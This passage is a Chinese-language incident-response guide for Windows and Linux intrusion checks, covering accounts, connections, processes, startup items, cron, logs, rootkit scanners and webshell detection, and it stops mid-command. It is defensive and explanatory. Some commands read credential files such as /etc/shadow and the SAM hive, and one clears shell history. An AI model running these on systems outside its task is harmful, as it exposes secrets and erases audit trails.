      <content type="html"><![CDATA[<section><h2>一、应急响应概述<a href="#一应急响应概述"><span>#</span></a></h2><section><h3>1.1 什么是应急响应？<a href="#11-什么是应急响应"><span>#</span></a></h3><p>当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，第一时间进行处理，使系统在最短时间内恢复正常，进一步查找入侵来源，还原入侵事故过程，给出解决方案与防范措施。</p></section><section><h3>1.2 入侵排查总体思路<a href="#12-入侵排查总体思路"><span>#</span></a></h3>

<table><thead><tr><th>排查方向</th><th>检查内容</th></tr></thead><tbody><tr><td><strong>账号安全</strong></td><td>可疑账号、隐藏账号、克隆账号</td></tr><tr><td><strong>异常连接</strong></td><td>可疑端口、外连IP、定期回连</td></tr><tr><td><strong>异常进程</strong></td><td>CPU/IO过高、无签名、无描述</td></tr><tr><td><strong>启动项</strong></td><td>开机自启、计划任务、服务</td></tr><tr><td><strong>系统信息</strong></td><td>补丁、可疑文件、文件时间</td></tr><tr><td><strong>日志分析</strong></td><td>安全日志、Web日志</td></tr></tbody></table></section></section>
<section><h2>二、Windows 入侵排查<a href="#二windows-入侵排查"><span>#</span></a></h2><section><h3>2.1 检查系统账号安全<a href="#21-检查系统账号安全"><span>#</span></a></h3><section><h4>查看账号<a href="#查看账号"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看本地用户和组</span></div></div><div><div><div>2</div></div><div><span>lusrmgr.msc</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 检查管理员组是否有新增账户</span></div></div><div><div><div>5</div></div><div><span>net localgroup administrators</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>检查隐藏账号/克隆账号<a href="#检查隐藏账号克隆账号"><span>#</span></a></h4><p><strong>注册表路径：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HKEY_LOCAL_MACHINE\SAM\SAM</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ 需要给 Administrator 用户赋予 SAM 完全控制和读取权限</p><p><strong>操作步骤：</strong></p><ol>
<li>导出隐藏账号对应的注册表项（两个 <code>.reg</code> 文件）</li>
<li>删除可疑用户：<code>net user hacker* /del</code></li>
<li>导入之前导出的 <code>.reg</code> 文件恢复</li>
</ol><p><strong>工具：</strong> D盾_Web查杀（集成克隆账号检测功能）</p></section><section><h4>查看登录日志<a href="#查看登录日志"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>eventvwr.msc</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>2.2 检查异常连接和进程<a href="#22-检查异常连接和进程"><span>#</span></a></h3><section><h4>网络连接<a href="#网络连接"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看所有网络连接</span></div></div><div><div><div>2</div></div><div><span>netstat -ano</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查找特定端口</span></div></div><div><div><div>5</div></div><div><span>netstat -ano | findstr "4444"</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 根据 PID 定位进程</span></div></div><div><div><div>8</div></div><div><span>tasklist | findstr "PID"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>检查进程<a href="#检查进程"><span>#</span></a></h4><p><strong>方法：</strong></p><ul>
<li>运行 <code>msinfo32</code> → 软件环境 → 正在运行任务（查看进程路径、PID、创建日期、启动时间）</li>
<li>使用 <code>resmon</code>（资源监视器）</li>
<li>使用 <strong>Process Explorer</strong>（微软官方工具）</li>
<li>使用 <strong>D盾_Web查杀</strong> 查看无签名进程</li>
</ul><p><strong>可疑进程特征：</strong></p><ul>
<li>CPU/IO 占用过高</li>
<li>无签名验证信息</li>
<li>无描述信息</li>
<li>路径异常</li>
<li>属主异常</li>
</ul></section></section><section><h3>2.3 检查启动项、计划任务、服务<a href="#23-检查启动项计划任务服务"><span>#</span></a></h3><section><h4>启动项<a href="#启动项"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 运行 msconfig，查看启动项（老版本）</span></div></div><div><div><div>2</div></div><div><span>msconfig</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 注册表启动项位置</span></div></div><div><div><div>5</div></div><div><span>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</span></div></div><div><div><div>6</div></div><div><span>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</span></div></div><div><div><div>7</div></div><div><span>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 启动目录</span></div></div><div><div><div>10</div></div><div><span>C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>推荐工具：</strong> Autoruns（微软 Sysinternals 工具集）</p></section><section><h4>计划任务<a href="#计划任务"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看计划任务</span></div></div><div><div><div>2</div></div><div><span>schtasks</span></div></div><div><div><div>3</div></div><div><span># 或</span></div></div><div><div><div>4</div></div><div><span>at</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>路径：</strong> 控制面板 → 任务计划</p></section><section><h4>服务<a href="#服务"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>services.msc</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>检查服务状态和启动类型，注意异常服务。</p></section></section><section><h3>2.4 Windows 关键安全事件 ID<a href="#24-windows-关键安全事件-id"><span>#</span></a></h3>

<table><thead><tr><th>事件ID</th><th>安全级别</th><th>类别</th><th>说明</th></tr></thead><tbody><tr><td><strong>4624</strong></td><td>高</td><td>登录</td><td>登录成功（需结合登录类型分析）</td></tr><tr><td><strong>4625</strong></td><td>高</td><td>登录</td><td>登录失败（暴力破解检测）</td></tr><tr><td><strong>4672</strong></td><td>高</td><td>权限</td><td>特权登录（管理员权限）</td></tr><tr><td><strong>4688</strong></td><td>高</td><td>进程</td><td>进程创建（需开启命令行审计）</td></tr><tr><td><strong>4104</strong></td><td>高</td><td>脚本</td><td>PowerShell 脚本块记录</td></tr><tr><td><strong>1102</strong></td><td>严重</td><td>防御</td><td>安全日志被清除（告警！）</td></tr><tr><td><strong>7045</strong></td><td>高</td><td>持久化</td><td>新服务安装</td></tr><tr><td><strong>4698</strong></td><td>高</td><td>持久化</td><td>计划任务创建</td></tr><tr><td><strong>4720</strong></td><td>中</td><td>账户</td><td>用户账户创建</td></tr><tr><td><strong>4726</strong></td><td>中</td><td>账户</td><td>用户账户删除</td></tr><tr><td><strong>4732</strong></td><td>中</td><td>权限</td><td>成员添加到本地组</td></tr><tr><td><strong>4719</strong></td><td>高</td><td>策略</td><td>系统审计策略变更</td></tr><tr><td><strong>5140</strong></td><td>中</td><td>横向</td><td>网络共享访问</td></tr></tbody></table><section><h4>登录类型<a href="#登录类型"><span>#</span></a></h4>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>2</strong></td><td>交互式登录（本地登录）</td></tr><tr><td><strong>3</strong></td><td>网络登录（共享文件夹、远程桌面）</td></tr><tr><td><strong>4</strong></td><td>批处理（计划任务启动）</td></tr><tr><td><strong>5</strong></td><td>服务启动</td></tr><tr><td><strong>7</strong></td><td>解锁（屏保解锁）</td></tr><tr><td><strong>8</strong></td><td>网络明文（FTP 等）</td></tr><tr><td><strong>9</strong></td><td>新凭证（RUNAS /netonly）</td></tr><tr><td><strong>10</strong></td><td>远程交互（RDP）</td></tr><tr><td><strong>11</strong></td><td>缓存交互（无域控时）</td></tr></tbody></table></section><section><h4>日志筛选方式<a href="#日志筛选方式"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 常规：事件查看器图形界面</span></div></div><div><div><div>2</div></div><div><span>eventvwr.msc</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># XML 筛选</span></div></div><div><div><div>5</div></div><div><span># 例：筛选 EventID=4625 且 LogonType=3</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 命令筛选</span></div></div><div><div><div>8</div></div><div><span>wevtutil qe Security /q:"*[System[(EventID=4625)]] and *[EventData[(Data[@Name='LogonType']=3)]]"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>2.5 工具推荐<a href="#25-工具推荐"><span>#</span></a></h3>

<table><thead><tr><th>工具</th><th>用途</th></tr></thead><tbody><tr><td><strong>Process Explorer</strong></td><td>进程排查</td></tr><tr><td><strong>Process Monitor</strong></td><td>进程监控</td></tr><tr><td><strong>Autoruns</strong></td><td>启动项排查</td></tr><tr><td><strong>D盾_Web查杀</strong></td><td>进程、克隆账号、Webshell</td></tr><tr><td><strong>火绒</strong></td><td>病毒查杀</td></tr><tr><td><strong>卡巴斯基 KVRT</strong></td><td>绿色版病毒查杀</td></tr><tr><td><strong>大蜘蛛</strong></td><td>扫描快</td></tr></tbody></table></section></section>
<section><h2>三、Linux 入侵排查<a href="#三linux-入侵排查"><span>#</span></a></h2><section><h3>3.1 账号安全<a href="#31-账号安全"><span>#</span></a></h3><section><h4>用户信息文件<a href="#用户信息文件"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 用户信息 /etc/passwd</span></div></div><div><div><div>2</div></div><div><span># 格式：用户名:密码:UID:GID:描述:家目录:Shell</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看特权用户（UID=0，只有 root 应为 0）</span></div></div><div><div><div>5</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($3==0){print $1}'</span><span> </span><span>/etc/passwd</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 查看空密码用户</span></div></div><div><div><div>8</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($2==""){print $1}'</span><span> </span><span>/etc/shadow</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 查看可远程登录的用户</span></div></div><div><div><div>11</div></div><div><span>awk</span><span> </span><span>'/\$1|\$6/{print $1}'</span><span> </span><span>/etc/shadow</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 查看有 sudo 权限的普通用户</span></div></div><div><div><div>14</div></div><div><span>more</span><span> </span><span>/etc/sudoers</span><span> | </span><span>grep</span><span> </span><span>-v</span><span> </span><span>"^#"</span><span> | </span><span>grep</span><span> </span><span>-v</span><span> </span><span>"^$"</span><span> | </span><span>grep</span><span> </span><span>"ALL=(ALL"</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># 禁用/删除用户</span></div></div><div><div><div>17</div></div><div><span>usermod</span><span> </span><span>-L</span><span> </span><span>user</span><span>      </span><span># 禁用账号（shadow 第二栏为 !）</span></div></div><div><div><div>18</div></div><div><span>userdel</span><span> </span><span>user</span><span>         </span><span># 删除用户</span></div></div><div><div><div>19</div></div><div><span>userdel</span><span> </span><span>-r</span><span> </span><span>user</span><span>      </span><span># 删除用户及家目录</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>shadow 密码加密类型：</strong></p>

<table><thead><tr><th>类型</th><th>加密算法</th></tr></thead><tbody><tr><td><code>$1$</code></td><td>MD5</td></tr><tr><td><code>$2a$</code></td><td>Blowfish</td></tr><tr><td><code>$5$</code></td><td>SHA-256</td></tr><tr><td><code>$6$</code></td><td>SHA-512</td></tr></tbody></table></section></section><section><h3>3.2 历史命令<a href="#32-历史命令"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看历史命令</span></div></div><div><div><div>2</div></div><div><span>history</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看用户历史命令文件</span></div></div><div><div><div>5</div></div><div><span>cat</span><span> </span><span>/home/用户名/.bash_history</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 清除历史（仅清除内存，需手动删除文件）</span></div></div><div><div><div>8</div></div><div><span>history</span><span> </span><span>-c</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>增强历史记录（记录时间/登录IP）：</strong>
在 <code>/etc/profile</code> 添加：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>USER_IP</span><span>=</span><span>`</span><span>who</span><span> </span><span>-u</span><span> am i </span><span>2&gt;</span><span>/dev/null </span><span>|</span><span> </span><span>awk</span><span> '{print $NF}' </span><span>|</span><span> </span><span>sed</span><span> </span><span>-e</span><span> 's/[()]//g'`</span></div></div><div><div><div>2</div></div><div><span>if</span><span> [ </span><span>"</span><span>$USER_IP</span><span>"</span><span><span> </span><span>=</span><span> </span></span><span>""</span><span> ]; </span><span>then</span></div></div><div><div><div>3</div></div><div><span>    </span><span>USER_IP</span><span>=</span><span>`</span><span>hostname</span><span>`</span></div></div><div><div><div>4</div></div><div><span>fi</span></div></div><div><div><div>5</div></div><div><span>export</span><span> </span><span>HISTTIMEFORMAT</span><span>=</span><span>"%F %T </span><span>$USER_IP</span><span> `</span><span>whoami</span><span>` "</span></div></div><div><div><div>6</div></div><div><span>export</span><span> </span><span>PROMPT_COMMAND</span><span>=</span><span>"history -a"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 检查网络连接<a href="#33-检查网络连接"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看连接状态</span></div></div><div><div><div>2</div></div><div><span>netstat</span><span> </span><span>-antlp</span><span> | </span><span>more</span></div></div><div><div><div>3</div></div><div><span>ss</span><span> </span><span>-antlp</span><span> | </span><span>more</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 查看进程路径</span></div></div><div><div><div>6</div></div><div><span>ls</span><span> </span><span>-l</span><span> </span><span>/proc/&lt;PID&gt;/exe</span></div></div><div><div><div>7</div></div><div><span>file</span><span> </span><span>/proc/&lt;PID&gt;/exe</span></div></div><div><div><div>8</div></div><div><span>cat</span><span> </span><span>/proc/&lt;PID&gt;/cmdline</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.4 检查进程<a href="#34-检查进程"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ps</span><span> </span><span>aux</span><span> | </span><span>grep</span><span> </span><span>&lt;PID&gt;</span></div></div><div><div><div>2</div></div><div><span>ps</span><span> </span><span>-elf</span><span> | </span><span>grep</span><span> </span><span>&lt;PID&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.5 检查启动项<a href="#35-检查启动项"><span>#</span></a></h3>

<table><thead><tr><th>路径/文件</th><th>说明</th></tr></thead><tbody><tr><td><code>~/.profile</code></td><td>用户级配置</td></tr><tr><td><code>~/.bashrc</code></td><td>用户级 bash 配置</td></tr><tr><td><code>/etc/profile</code></td><td>系统级配置</td></tr><tr><td><code>/etc/rc.local</code></td><td>开机自启脚本</td></tr><tr><td><code>/etc/rc.d/rc[0~6].d/</code></td><td>运行级别启动目录</td></tr><tr><td><code>/etc/cron*</code></td><td>定时任务目录</td></tr></tbody></table><p><strong>运行级别：</strong></p>

<table><thead><tr><th>级别</th><th>说明</th></tr></thead><tbody><tr><td>0</td><td>关机</td></tr><tr><td>1</td><td>单用户模式（修复）</td></tr><tr><td>2</td><td>不完全命令行（无NFS）</td></tr><tr><td>3</td><td>完全命令行</td></tr><tr><td>4</td><td>保留</td></tr><tr><td>5</td><td>图形模式</td></tr><tr><td>6</td><td>重启</td></tr></tbody></table></section><section><h3>3.6 检查定时任务<a href="#36-检查定时任务"><span>#</span></a></h3><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看当前用户定时任务</span></div></div><div><div><div>2</div></div><div><span>crontab</span><span> </span><span>-l</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看 root 定时任务</span></div></div><div><div><div>5</div></div><div><span>crontab</span><span> </span><span>-l</span><span> </span><span>-u</span><span> </span><span>root</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 定时任务文件位置</span></div></div><div><div><div>8</div></div><div><span>/var/spool/cron/*</span><span>           </span><span># 用户定时任务</span></div></div><div><div><div>9</div></div><div><span>/etc/crontab</span><span>                 </span><span># 系统定时任务</span></div></div><div><div><div>10</div></div><div><span>/etc/cron.d/*</span><span>                </span><span># 额外定时任务</span></div></div><div><div><div>11</div></div><div><span>/etc/cron.daily/*</span><span>            </span><span># 每日任务</span></div></div><div><div><div>12</div></div><div><span>/etc/cron.hourly/*</span><span>           </span><span># 每小时任务</span></div></div><div><div><div>13</div></div><div><span>/etc/cron.monthly/*</span><span>          </span><span># 每月任务</span></div></div><div><div><div>14</div></div><div><span>/etc/cron.weekly/*</span><span>           </span><span># 每周任务</span></div></div><div><div><div>15</div></div><div><span>/etc/anacrontab</span><span>              </span><span># 异步定时任务</span></div></div><div><div><div>16</div></div><div><span>/var/spool/anacron/*</span><span>         </span><span># anacron 数据</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>3.7 检查服务<a href="#37-检查服务"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># systemd（新系统）</span></div></div><div><div><div>2</div></div><div><span>systemctl</span><span> </span><span>list-units</span><span> </span><span>--type=service</span><span>          </span><span># 列出所有服务</span></div></div><div><div><div>3</div></div><div><span>systemctl</span><span> </span><span>list-units</span><span> </span><span>--type=service</span><span> </span><span>--state=running</span><span>   </span><span># 运行中服务</span></div></div><div><div><div>4</div></div><div><span>systemctl</span><span> </span><span>list-unit-files</span><span> </span><span>--type=service</span><span> </span><span>--state=enabled</span><span>   </span><span># 已启用服务</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># sysvinit（老系统）</span></div></div><div><div><div>7</div></div><div><span>chkconfig</span><span> </span><span>--list</span><span>          </span><span># 查看服务自启动状态</span></div></div><div><div><div>8</div></div><div><span>chkconfig</span><span> </span><span>--level</span><span> </span><span>2345</span><span> </span><span>httpd</span><span> </span><span>on</span><span>   </span><span># 设置自启动</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.8 检查异常文件<a href="#38-检查异常文件"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查找最近修改的文件</span></div></div><div><div><div>2</div></div><div><span>find</span><span> </span><span>/</span><span> </span><span>-type</span><span> </span><span>f</span><span> </span><span>-newermt</span><span> </span><span>"2024-05-19"</span><span> </span><span>!</span><span> </span><span>-newermt</span><span> </span><span>"2024-05-22"</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查找一天前访问过的文件</span></div></div><div><div><div>5</div></div><div><span>find</span><span> </span><span>/</span><span> </span><span>-iname</span><span> </span><span>"*"</span><span> </span><span>-mtime</span><span> </span><span>1</span><span> </span><span>-type</span><span> </span><span>f</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 查看文件状态（创建/修改/访问时间）</span></div></div><div><div><div>8</div></div><div><span>stat</span><span> </span><span>&lt;文件名&gt;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 查看敏感目录</span></div></div><div><div><div>11</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>/tmp</span></div></div><div><div><div>12</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>/var/tmp</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.9 Linux 系统日志<a href="#39-linux-系统日志"><span>#</span></a></h3>

<table><thead><tr><th>日志文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/var/log/messages</code></td><td>系统重要日志（优先检查）</td></tr><tr><td><code>/var/log/auth.log</code> (Debian) 或 <code>/var/log/secure</code> (RHEL)</td><td>认证日志（SSH、su、sudo）</td></tr><tr><td><code>/var/log/cron</code></td><td>定时任务日志</td></tr><tr><td><code>/var/log/btmp</code></td><td>错误登录日志（<code>lastb</code> 查看）</td></tr><tr><td><code>/var/log/lastlog</code></td><td>最后登录时间（<code>lastlog</code> 查看）</td></tr><tr><td><code>/var/log/wtmp</code></td><td>所有登录/注销记录（<code>last</code> 查看）</td></tr><tr><td><code>/var/log/utmp</code></td><td>当前登录用户（<code>w</code>、<code>who</code>、<code>users</code>）</td></tr></tbody></table><p><strong>注意：</strong> 二进制日志文件需用专用命令查看：<code>lastb</code>、<code>lastlog</code>、<code>last</code>、<code>w</code>、<code>who</code>、<code>users</code></p><section><h4>日志分析命令<a href="#日志分析命令"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查看爆破 root 的 IP</span></div></div><div><div><div>2</div></div><div><span>grep</span><span> </span><span>"Failed password for root"</span><span> </span><span>/var/log/auth.log</span><span> | </span><span>awk</span><span> </span><span>'{print $11}'</span><span> | </span><span>sort</span><span> | </span><span>uniq</span><span> </span><span>-c</span><span> | </span><span>sort</span><span> </span><span>-nr</span><span> | </span><span>more</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看所有爆破 IP</span></div></div><div><div><div>5</div></div><div><span>grep</span><span> </span><span>"Failed password"</span><span> </span><span>/var/log/auth.log</span><span> | </span><span>grep</span><span> </span><span>-E</span><span> </span><span>-o</span><span> </span><span>"([0-9]{1,3}\.){3}[0-9]{1,3}"</span><span> | </span><span>uniq</span><span> </span><span>-c</span><span> | </span><span>sort</span><span> </span><span>-nr</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 查看登录成功的 IP</span></div></div><div><div><div>8</div></div><div><span>grep</span><span> </span><span>"Accepted "</span><span> </span><span>/var/log/auth.log</span><span> | </span><span>awk</span><span> </span><span>'{print $11}'</span><span> | </span><span>sort</span><span> | </span><span>uniq</span><span> </span><span>-c</span><span> | </span><span>sort</span><span> </span><span>-nr</span><span> | </span><span>more</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 查看添加用户记录</span></div></div><div><div><div>11</div></div><div><span>grep</span><span> </span><span>"useradd"</span><span> </span><span>/var/log/auth.log</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 查看删除用户记录</span></div></div><div><div><div>14</div></div><div><span>grep</span><span> </span><span>"userdel"</span><span> </span><span>/var/log/auth.log</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># 查看 su 切换</span></div></div><div><div><div>17</div></div><div><span>grep</span><span> </span><span>"su"</span><span> </span><span>/var/log/auth.log</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span># 查看 sudo 授权执行</span></div></div><div><div><div>20</div></div><div><span>grep</span><span> </span><span>"sudo"</span><span> </span><span>/var/log/auth.log</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section></section><section><h3>3.10 Rootkit 查杀<a href="#310-rootkit-查杀"><span>#</span></a></h3><p><strong>chkrootkit：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz</span></div></div><div><div><div>2</div></div><div><span>tar</span><span> </span><span>zxvf</span><span> </span><span>chkrootkit.tar.gz</span></div></div><div><div><div>3</div></div><div><span>cd</span><span> </span><span>chkrootkit-0.52</span></div></div><div><div><div>4</div></div><div><span>make</span><span> </span><span>sense</span></div></div><div><div><div>5</div></div><div><span>./chkrootkit</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>rkhunter：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz</span></div></div><div><div><div>2</div></div><div><span>tar</span><span> </span><span>-zxvf</span><span> </span><span>rkhunter-1.4.4.tar.gz</span></div></div><div><div><div>3</div></div><div><span>cd</span><span> </span><span>rkhunter-1.4.4</span></div></div><div><div><div>4</div></div><div><span>./installer.sh</span><span> </span><span>--install</span></div></div><div><div><div>5</div></div><div><span>rkhunter</span><span> </span><span>-c</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.11 病毒查杀<a href="#311-病毒查杀"><span>#</span></a></h3><p><strong>ClamAV：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 更新病毒库</span></div></div><div><div><div>2</div></div><div><span>freshclam</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 扫描目录</span></div></div><div><div><div>5</div></div><div><span>clamscan</span><span> </span><span>-r</span><span> </span><span>/etc</span><span> </span><span>--max-dir-recursion=5</span><span> </span><span>-l</span><span> </span><span>/root/etcclamav.log</span></div></div><div><div><div>6</div></div><div><span>clamscan</span><span> </span><span>-r</span><span> </span><span>/bin</span><span> </span><span>-l</span><span> </span><span>/root/binclamav.log</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 扫描并清除</span></div></div><div><div><div>9</div></div><div><span>clamscan</span><span> </span><span>-r</span><span> </span><span>--remove</span><span> </span><span>/usr/bin/bsd-port</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.12 Linux 安全检查脚本<a href="#312-linux-安全检查脚本"><span>#</span></a></h3>

<table><thead><tr><th>项目</th><th>地址</th></tr></thead><tbody><tr><td>GSCan</td><td><a href="https://github.com/graydda/GSCan" target="_blank">https://github.com/graydda/GSCan</a></td></tr><tr><td>linux安全检查脚本</td><td><a href="https://github.com/T0xst/linux" target="_blank">https://github.com/T0xst/linux</a></td></tr></tbody></table></section></section>
<section><h2>四、Webshell 查杀<a href="#四webshell-查杀"><span>#</span></a></h2>

<table><thead><tr><th>工具</th><th>地址</th></tr></thead><tbody><tr><td><strong>D盾_Web查杀</strong></td><td><a href="http://www.d99net.net" target="_blank">http://www.d99net.net</a></td></tr><tr><td><strong>河马 webshell 查杀</strong></td><td><a href="http://www.shellpub.com" target="_blank">http://www.shellpub.com</a></td></tr><tr><td><strong>VirusTotal</strong></td><td><a href="https://www.virustotal.com" target="_blank">https://www.virustotal.com</a></td></tr></tbody></table><section><h3>无工具手工排查<a href="#无工具手工排查"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Linux：使用 diff 对比</span></div></div><div><div><div>2</div></div><div><span>diff</span><span> </span><span>-r</span><span> </span><span>正常目录</span><span> </span><span>可疑目录</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Windows：使用文件搜索功能（F3）</span></div></div><div><div><div>5</div></div><div><span># 查找最近修改的文件</span></div></div><div><div><div>6</div></div><div><span># 查找 .php/.asp/.jsp 等脚本文件中的可疑代码</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>📌 快速命令卡片<a href="#-快速命令卡片"><span>#</span></a></h2><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Linux 快速排查</span></div></div><div><div><div>2</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($3==0){print $1}'</span><span> </span><span>/etc/passwd</span><span>              </span><span># 特权用户</span></div></div><div><div><div>3</div></div><div><span>awk</span><span> </span><span>-F:</span><span> </span><span>'($2==""){print $1}'</span><span> </span><span>/etc/shadow</span><span>             </span><span># 空密码用户</span></div></div><div><div><div>4</div></div><div><span>grep</span><span> </span><span>"Failed password"</span><span> </span><span>/var/log/auth.log</span><span> | </span><span>wc</span><span> </span><span>-l</span><span>     </span><span># 爆破次数</span></div></div><div><div><div>5</div></div><div><span>grep</span><span> </span><span>"Accepted"</span><span> </span><span>/var/log/auth.log</span><span>                    </span><span># 登录成功</span></div></div><div><div><div>6</div></div><div><span>netstat</span><span> </span><span>-antlp</span><span> | </span><span>grep</span><span> </span><span>ESTABLISHED</span><span>                    </span><span># 异常连接</span></div></div><div><div><div>7</div></div><div><span>ps</span><span> </span><span>aux</span><span> </span><span>--sort=-%cpu</span><span> | </span><span>head</span><span> </span><span>-20</span><span>                       </span><span># CPU占用前20</span></div></div><div><div><div>8</div></div><div><span>crontab</span><span> </span><span>-l</span><span>                                          </span><span># 定时任务</span></div></div><div><div><div>9</div></div><div><span>ls</span><span> </span><span>-la</span><span> </span><span>/tmp</span><span>                                          </span><span># 临时目录</span></div></div><div><div><div>10</div></div><div><span>find</span><span> </span><span>/</span><span> </span><span>-newermt</span><span> </span><span>"2024-01-01"</span><span> 